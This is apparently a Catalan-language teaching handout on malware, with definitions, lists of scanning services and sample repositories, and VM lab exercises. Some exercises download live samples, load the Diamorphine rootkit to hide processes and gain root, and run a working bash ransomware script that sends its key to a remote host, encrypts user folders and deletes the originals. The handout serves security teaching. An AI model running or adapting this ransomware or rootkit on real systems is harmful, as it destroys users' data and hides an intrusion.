Malware

Definicions

*__Malware__: Concepte genèric que engloba tot el conjunt de programes dissenyats de forma explícita per executar sobre un sistema qualsevol acció que sigui de tipus malintencionat (com ara sostracció i/o eliminació d'informació, instal·lació de programes no desitjats, desgast de recursos de hardware, sabotatge informàtic, etc, etc). Òbviament, l'execució de "malware" no és quelcom desitjable, així que aquesta s'intentarà realitzar sense l'aprovació de l'usuari, ja sigui mitjançant la enginyeria social (via la descàrrega -des de pàgines web/xats/missatges de correu/etc- de fitxers infectats que aparentment semblen inofensius -és a dir, que semblen imatges, PDFs,etc- però que internament contenen codi executable maliciós) o l'ús d'exploits. En qualsevol cas, l'objectiu, al final, és que l'execució del malware en qüestió es faci de forma automàtica cada cop que s'inicii el sistema.

---

*__Virus__: Tipus de malware que té la característica d'intentar estendre's de màquina en màquina tant com sigui possible. Per a què un programa sigui considerat un "virus", doncs, ha de ser capaç de fer còpies de sí mateix i de replicar-les (ja sigui "autoinjectant-se" dins de diferents arxius locals -a partir de la inserció d'un llapis USB infectat, per exemple, o ubicats en carpetes compartides en xarxa -els quals, en tot cas, seran a partir de llavors nous vectors d'infecció-, o bé enviant-se a si mateix als contactes del correu/xat, etc). A partir d'aquí, si un virus conté algun "payload" concret, podrà llavors realitzar altres tasques malicioses (com ara danyar els arxius infectats, etc).

> NOTA: En realitat, més que un tipus de malware, un "virus" és un mètode de distribució de malware, el qual pot ser de diferents tipus (*spyware*, *ransomware*, *backdoor* per rebre ordres d'un atacant via software C&C...)

*__Cuc__: Tipus de malware similar als virus en el sentit que té la característica principal d'autoreplicar-se. La diferència principal entre virus i cucs és que aquests darrers es distribueixen pels ordinadors d'una xarxa de forma totalment autònoma (gràcies a explotar vulnerabilitats en els sistemes trobats i romandre funcionant a la seva RAM) mentre que els virus necessiten algun tipus d'acció per part de l'usuari per iniciar la infecció (obrir un arxiu adjunt d'un email, clicar en un link apuntant a adware...)

*__Troià__: Tipus de malware consistent en una aplicació legítima que ha estat modificada amb codi maliciós. En executar-se (en aquest cas, per pròpia definició, normalment a través d'enginyeria social), un troià es fa passar per un programa legítim mentre que en paral·lel, i de forma inadvertida per l'usuari, injecta a l'amfitrió de la víctima un software ocult que realitzarà inadvertidament l'activitat maliciosa (com per exemple permetre a l'atacant connectar-s'hi de forma remota -opcionalment amb escalada de privilegis, si s'explotés alguna vulnerabilitat- i executar-hi comandes o scripts específics i/o obtenir-hi fitxers i/o instal·lar-hi nous programes maliciosos addicionals i/o fer-hi captures de pantalla, etc, etc). Com tot malware, un troià normalment intentarà "autoimplantar-se" al sistema-víctima per poder executar-se de forma automàtica a partir de llavors.

> NOTA: En realitat, més que un tipus de malware, un "troià" és un mètode de distribució de malware, el qual pot ser de diferents tipus (*spyware*, *ransomware*, *backdoor* per rebre ordres d'un atacant via software C&C...)

---

*__Ransomware__: Tipus de malware que xifra les dades (i el sistema) d'un ordinador de manera que siguin inaccessibles sense una clau privada (en poder de l'atacant). El distribuïdor del ransomware sol exigir una certa quantitat de diners (enviats mitjançant un mètode anònim basat en alguna criptomoneda com ara Bitcoin) per desxifrar els fitxers de l'ordinador. De vegades hi ha una limitació de temps per al pagament...passat aquest límit de temps, se suprimiran els fitxers de l'ordinador. La millor manera de recuperar-se del ransomware és recuperar les dades d'una còpia de seguretat.

*__Adware__: Tipus de malware consistent en publicitat essencialment abusiva i enganyosa (mostrada normalment dins d'un navegador), la qual sol conduir a llocs web de dubtosa reputació on es té una alta probabilitat de caure en algun atac de "phishing" o d'infectar l'equip amb algun altre tipus de malware (en aquest darrer cas, l'atac s'anomena "__malvertising__").

*__Spyware__: Tipus de malware que enregistra de forma oculta l'activitat de l'usuari a l'ordinador infectat i transmet aquestes dades a un altre lloc (això inclou des d'informació d'inicis de sessió fins l'historial del navegador, passant per la llista de contactes, els documents visualitzats o editats i, potencialment, qualsevol altra informació que es pugui exfiltrar). Sovint la informació recopilada per un spyware s'utilitza per crear un perfil de l'usuari i mostrar adware (a més d'altres possibilitats, com per exemple per actuar com a **keyloggers**).

*__Rootkit__: Tipus de malware que té la característica d'executar-se (normalment amb privilegis d'administrador i sovint fins i tot a nivell de kernel) de forma oculta, tant per l'usuari com pel propi sistema operatiu infectat. La tasca concreta maliciosa pot ser diversa, però normalment serveixen per oferir a l'atacant una manera d'accedir al sistema infectat de forma inadvertida (el que se'n diu "**backdoor**"), fins i tot un cop la vulnerabilitat inicial que va permetre en el seu moment instal·lar el "rootkit" hagi sigut solucionada. Degut al baix nivell en què treballen, són difícils de detectar.

*__Cryptojacker__: Tipus de malware que permet a l'atacant utilitzar els recursos de la màquina infectada (bàsicament energia, CPU i RAM) per minar criptomonedes (tal com Bitcoin o altres). Aquelles criptomonedes obtingudes del procés de minatge seran afegides al compte de l'atacant. Per tant, bàsicament aquest malware (que normalment es distribueix en forma de troià) aprofita els recursos de màquines víctima per fer guanyar diners a l'atacant.

---

*__Bot__: Aplicació automatitzada que s'executa sense que un usuari humà hagi de posar-la en marxa manualment cada vegada. Normalment, fan tasques repetitives i operen sovint mitjançant una xarxa. Alguns bots són útils, com els bots de motors de cerca, que indexen contingut per a cerca, o els bots d'atenció al client, que xategen amb els usuaris per assistir-los, però altres són "dolents", com els que estan programats per entrar als comptes dels usuaris i/o escanejar el contingut de la web a la recerca d'informació de contacte per llavors enviar correu brossa, o els que duen a terme atacs de farciment de credencials contra llocs web amb autenticació, o els que realitzen atacs DDoS de forma coordinada, etc. Per generar el trànsit suficient per dur a terme amb èxit la majoria d'aquests atacs (i també per amagar l'origen del trànsit maliciós), els bots se solen distribuir en xarxa (l'anomenada "**botnet**"). Això vol dir que còpies del bot s'executen en múltiples dispositius (com per exemple routers o webcams públiques, sovint sense que ho sàpiguen els propietaris d'aquests dispositius, ja que aquests actuen com a mers "**zombies**" al servei de l'atacant). Com que cada dispositiu té la seva pròpia adreça IP, el trànsit de la botnet provindrà de moltíssimes adreces IP diferents, així que és molt difícil identificar i bloquejar la font.

Serveis antimalware online

Si no tenim clar si un fitxer que tenim al nostre poder està infectat o no, tenim la possibilitat d'utilitzar diversos llocs online que "escanejaran" gratuïtament el fitxer que hi pugem (sovint utilitzant al seu torn altres serveis de tercers) i ens donaran el resultat pertinent. El servei més famós d'aquest tipus és https://www.virustotal.com ; es pot gaudir de la seva funcionalitat ja sigui mitjançant la seva interfície web (la qual permet, sense cap necessitat de registre, pujar-hi fitxers o indicar URLs sospitoses a escanejar) o bé a través de la seva API pública, usada pel seu client de terminal oficial: https://github.com/VirusTotal/vt-cli Altres serveis d'aquest tipus es llisten (no exhaustivament) a continuació:

https://www.hybrid-analysis.com
https://hash.cymru.com
http://sarvam.ece.ucsb.edu
https://www.joesandbox.com
https://pandora.circl.lu (el seu codi font es troba a https://github.com/pandora-analysis/pandora)
https://metadefender.opswat.com (xequeja molts altres elements: IP sospitoses, dominis, etc)
https://sitecheck.sucuri.net (només fa xequeig d'URLs, no admet pujada de fitxers locals)

NOTA: En realitat, "VirusTotal" és un agregador unificat de serveis antimalware (i altres) de tercers. La llista completa d'aquests serveis de tercers es troba a https://support.virustotal.com/hc/en-us/articles/115002146809-Contributors
NOTA: D'altra banda, el software https://github.com/intelowlproject/IntelOwl és un client que empra les diferents APIs oferides per serveis com els anteriors (i altres) per escanejar fitxers, URLs, IPs etc d'una forma centralitzada i des del terminal (semblant al client "vt-cli" de VirusTotal però en genèric per molts altres serveis)
NOTA: Serveis específicament dissenyats per desxifrar (gratuitament) fitxers infectats per algun tipus de ransomware són https://www.emsisoft.com/ransomware-decryption-tools o https://www.nomoreransom.org
NOTA: Altres llocs online interessants són https://urlhaus.abuse.ch (conté un registre d'URLs conegudes per distribuir malware) o https://threatfox.abuse.ch (conté una base de dades d'"Indicators Of Compromise -**IOCs**-" que se saben associats a un malware concret).
NOTA: Per "IOC" s'entén qualsevol dada detectada que pugui servir per identificar un determinat agent maliciós (pot ser una IP ja coneguda per ser maliciosa en esdeveniments anteriors, un domini ja conegut, un hash corresponent a un malware conegut, una combinació dels anteriors,,, a més de tràfic de xarxa inusual, fitxers en disc inusuals, activitat de procesos i serveis inusual, etc). Tota aquesta informació se sol emmagatzemar en plataformes especialitzades, les anomenades "**TIP**" (de "Theat Intelligence Platform"), les quals permeten classificar-la i compartir-la d'una forma homogènia i estructurada; un exemple de TIP és el software lliure MISP (https://www.misp-project.org)

"Zoos" de malware online

D'altra banda, els investigadors i analistes de seguretat necessiten tenir mostres de malware per poder-los estudiar (en entorns controlats, òbviament). És per això que existeixen diferents "zoos" online plens de malware reconegut, llest per descarregar i estudiar-ne el seu comportament. A continuació es llisten els més importants:

https://github.com/ytisf/theZoo
https://bazaar.abuse.ch
https://labs.sucuri.net/signatures
https://malshare.com
https://virusshare.com
https://malpedia.caad.fkie.fraunhofer.de
https://github.com/RamadhanAmizudin/malware

Altres "zoos" alternatius a tenir en compte són:

http://atm.cybercrime-tracker.net (desactualitzat)
http://vxvault.net (desactualitzat)
http://contagiodump.blogspot.com (desactualitzat)
https://github.com/kh4sh3i/Ransomware-Samples (desactualitzat, especialitzat en ransomware)
https://github.com/ashishb/android-malware (desactualitzat, específic per Android)
https://koodous.com (Específic per Android)
https://zeltser.com/malware-sample-sources (Llista de llistes)
https://www.malware-traffic-analysis.net (sobre tot enfocat a captures de xarxa PCAP i logs Snort/Suricata. Un altre de similar és https://www.netresec.com/?page=PcapFiles)

NOTA: Per recopilar i implementar un "zoo" de malware existeixen programes específics, com ara https://github.com/phage-nz/ph0neutria o https://github.com/woj-ciech/Daily-dose-of-malware
NOTA: Un recull molt complet de zoos, "honeypots", implementadors de zoos, software d'estudi en entorns control·lats (les anomenades "sandboxes"), etc es pot trobar a https://github.com/paulveillard/cybersecurity-malware-analysis
NOTA: Un blog molt interessant on es fan anàlisis detallats del funcionament i comportament de múltiples malwares és https://blog.malwaremustdie.org

EXERCICIS:

1.-a) En una màquina virtual qualsevol, vés a la base de dades https://bazaar.abuse.ch i descarrega't el malware que ara mateix sigui el més nou de la llista. Descomprimeix-lo (fent servir la contrasenya "infected")

b) Realitza les següents instruccions per instal·lar el client "vt-cli":

sudo apt install golang (a Ubuntu) o *sudo dnf install golang* (a Fedora)
git clone https://github.com/VirusTotal/vt-cli
cd vt-cli
make build
make install

c) Vés a https://www.virustotal.com/gui/join-us i registra't (gratuïtament) a la web de VirusTotal per tal d'aconseguir la teva "API key". Per conéixer-la, un cop hagis rebut el correu de confirmació d'alta i clicat sobre l'enllaç que se't dona, arribaràs a la pàgina principal de VirusTotal. Logueja't amb el teu usuari i, un cop fet això, clica sobre l'opció "API key" que apareix al desplegable de la cantonada superior dreta, on apareix el teu nom (i avatar, que no en tens). Veuràs llavors la teva "API key"; anota-la per fer el proper punt.

d) Dins de la carpeta "vt-cli", executa les comandes següents i digues què s'hi mostra al final:

hashmalware=$(md5sum /ruta/fitxer/malware/descarregat/al/primerpartat)
./build/vt -k latevaapikey file $hashmalware

> NOTA: L'intent de detecció de malware anterior es basa en la confrontació del hash del fitxer en qüestió amb la base de dades de hashes que té VirusTotal corresponents a fitxers reconeguts com a maliciosos. Cal tenir en compte, però, que aquest mecanisme de detecció és molt fràgil, ja que només canviant un simple bit del fitxer en qüestió el hash corresponent ja serà diferent i, per tant, podria no aparèixer llavors a la base de dades malware conegut; a més, en tot cas, aquest mecanisme no serveix per detectar malware que encara no hagi detectat públicament

dII) Dins de la carpeta "vt-cli", executa les comandes següents i digues què s'hi mostra al final:

./build/vt -k latevaapikey scan file /ruta/fitxer/local/qualsevol
./build/vt -k latevaapikey analysis IDDeLEscaneigAnterior #L'ID es mostra al final de la sortida de l'ordre anterior

> NOTA: L'intent de detecció de malware anterior es basa en l'anàlisi del contingut binari del fitxer en qüestió i la seva confrontació amb eventuals seqüències de bytes coincidents i existents a la base de dades que té VirusTotal, corresponents a tires binàries reconegudes com a malicioses

dIII) Dins de la carpeta "vt-cli", executa les comandes següents (ara són independents una de l'altra) i digues què s'hi mostra:

./build/vt -k latevaapikey ip 1.2.3.4
./build/vt -k latevaapikey domain elpuig.xeill.net
./build/vt -k latevaapikey url https://elpuig.xeill.net/Members/q2dg

> NOTA: La base de dades de VirusTotal també inclou adreces IPs/dominis/URLs reconegudes com a malicioses (perquè són origen demostrat d'spam, malware, etc). En aquest sentit és interessant visitar https://talosintelligence.com
> NOTA: Podeu obtenir més ajuda de la comanda fent *vt comanda --help*. Concretament, existeix la comanda molt interessant *./build/vt search "positives:5+ type:pdf"* però que només està disponible per comptes "premium"

2.-a) Segueix els passos següents per tal d'instal.lar en una màquina virtual qualsevol el rootkit Diamorphine (https://github.com/m0nad/Diamorphine)

sudo apt install gcc make linux-headers-$(uname -r) (A Ubuntu)
sudo dnf install gcc make kernel-devel (A Fedora: abans caldrà fer, però, *sudo dnf upgrade kernel* i reiniciar)
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine && make && sudo insmod diamorphine.ko

b) Prova les següents possibilitats (explicades al seu README) i comprova si funcionen (pensa una manera concreta de fer la comprovació de cada possibilitat):

*Per ocultar un procés donat (o desfer l'ocultació si ja ho està) cal enviar-li la senyal nº31, així : *kill -s 31 nºPID*
*Per (re)executar com a "root" un procés donat (molt útil si el procés és un shell) cal enviar-li la senyal nº 64, així: : *kill -s 64 nºPID*
*Per ocultar el propi mòdul Diamorphine de comandes que el poden "desenmarcarar" (com *lsmod, cat /proc/modules, kmod list, modinfo* i similars), o desfer l'ocultació, cal executar: *kill -s 63 0*
*Per ocultar qualsevol fitxer o carpeta del sistema, és suficient renombrant-lo de manera que el seu nom comenci amb el valor concret que tingui la variable "MAGIC_PREFIX", definida al codi font de Diamorphine (per defecte és "diamorphine_secret")

c) Finalment, descarrega Diamorphine de la memòria fent servir els passos següents:

kill -s 63 0 (el mòdul es carrega per defecte invisible; per descarregar-lo cal fer-lo visible primer)
sudo rmmod diamorphine

NOTA: Una llarga llista d'altres rootkits lliures per Linux es pot trobar a https://github.com/milabs/awesome-linux-rootkits
Existeixen rootkits que són capaços fins i tot d'ocultar connexions TCP o de modificar el contingut de fitxers, etc

3.-a) En el següent exercici simularem l'atac d'un "ransomware" i la seva posterior "neteja". Concretament, pots executar en una màquina virtual qualsevol el següent script maliciós i respondre les preguntes següents:

```
#!/bin/bash

#Funcio d'enviar el ID de la víctima i el seu password de recuperació a un servidor nostre
function sendCred(){
  curl -s $1 -d "pwd=$2&idd=$3" > /dev/null
}

#Funció de xifratge dels directoris indicats
function crypt(){
  directories=$1
  for carpeta in ${directories[@]}; do
    cd $(realpath $carpeta)
    tar -cf carpeta.tar *
    openssl enc -e -aes-256-cbc -pass pass:$2 -in carpeta.tar -out carpetaxifrada.tar 2> /dev/null
    find . ! -name carpetaxifrada.tar -delete
  done
}
#Llista de directoris a xifrar (podrien ser moltes més!)
directories=("$HOME/Baixades" "$HOME/Imatges")
#Ruta del servidor remot nostre (podria ser un SGBD, etc)
remoteserver="http://httpbin.org/post"

#Genera el password de xifrat
pwd=$(openssl rand -hex 30)
#Genera un ID únic (que vincularà la víctima amb el password anterior)
idd=$(openssl rand -base64 10)

#Es puja el ID i el password a un servidor remot sota el nostre control per emmagatzemar-los
sendCred $remoteserver $pwd $idd
#Es realitza el xifratge de les carpetes indicades
crypt $directories $pwd
#Es deixa una nota a l\'escriptori de la víctima
echo "Per a pagar-me, envia un missatge al fòrum de 4Chan indicant aquest ID: $idd" > $HOME/Escriptori/HOLACARACOLA.txt
```

*¿Què fan les comandes *openssl rand*....?
*¿Què fa la funció "sendCred"?
*¿Què fa la funció "crypt"? I en concret, la comanda *openssl enc*...?
*¿Quin resultat acabes obtenint en executar aquest script?

b) Imagina que, com a víctima, et poses en contacte amb l'atacant i li proporciones el teu ID. L'atacant llavors et farà arribar el següent script per desxifrar el contingut de les carpetes xifrades i la contrasenya associada al teu ID (emmagatzemada al seu servidor remot). Pots executar l'script (proporcionant-li la contrasenya adient per tal de tornar a tenir el contingut desxifrat original a les carpetes implicades) i respondre les preguntes següents:

```
#!/bin/bash
directories=("$HOME/Baixades" "$HOME/Imatges")
read -p "Escriba la contraseña que le hemos adjuntado junto con este script:" pwd
for carpeta in ${directories[@]}; do
    cd $(realpath $carpeta)
    openssl enc -d -aes-256-cbc -pass pass:$pwd -in carpetaxifrada.tar -out carpeta.tar 2> /dev/null
    tar -xf carpeta.tar
    rm carpetaxifrada.tar carpeta.tar
done
rm ~/Escriptori/HOLACARACOLA.txt
```

* ¿Què fa en aquest cas la comanda *openssl enc*...?
* ¿Per què és necessari el bucle "for" que apareix al codi?

NOTA: Un ransomware similar (és a dir, amb propòsit merament educatiu) però una mica més sofisticat (programat en Python, dissenyat per enviar les claus privades de cada víctima a un servidor MySQL remot i fent ús de GPG en comptes d'OpenSSL per crear aquestes claus) és: https://gist.github.com/anonymous/ac8b5cc1eca260376cd6925dd078aaba Un altre és https://github.com/ncorbuk/Python-Ransomware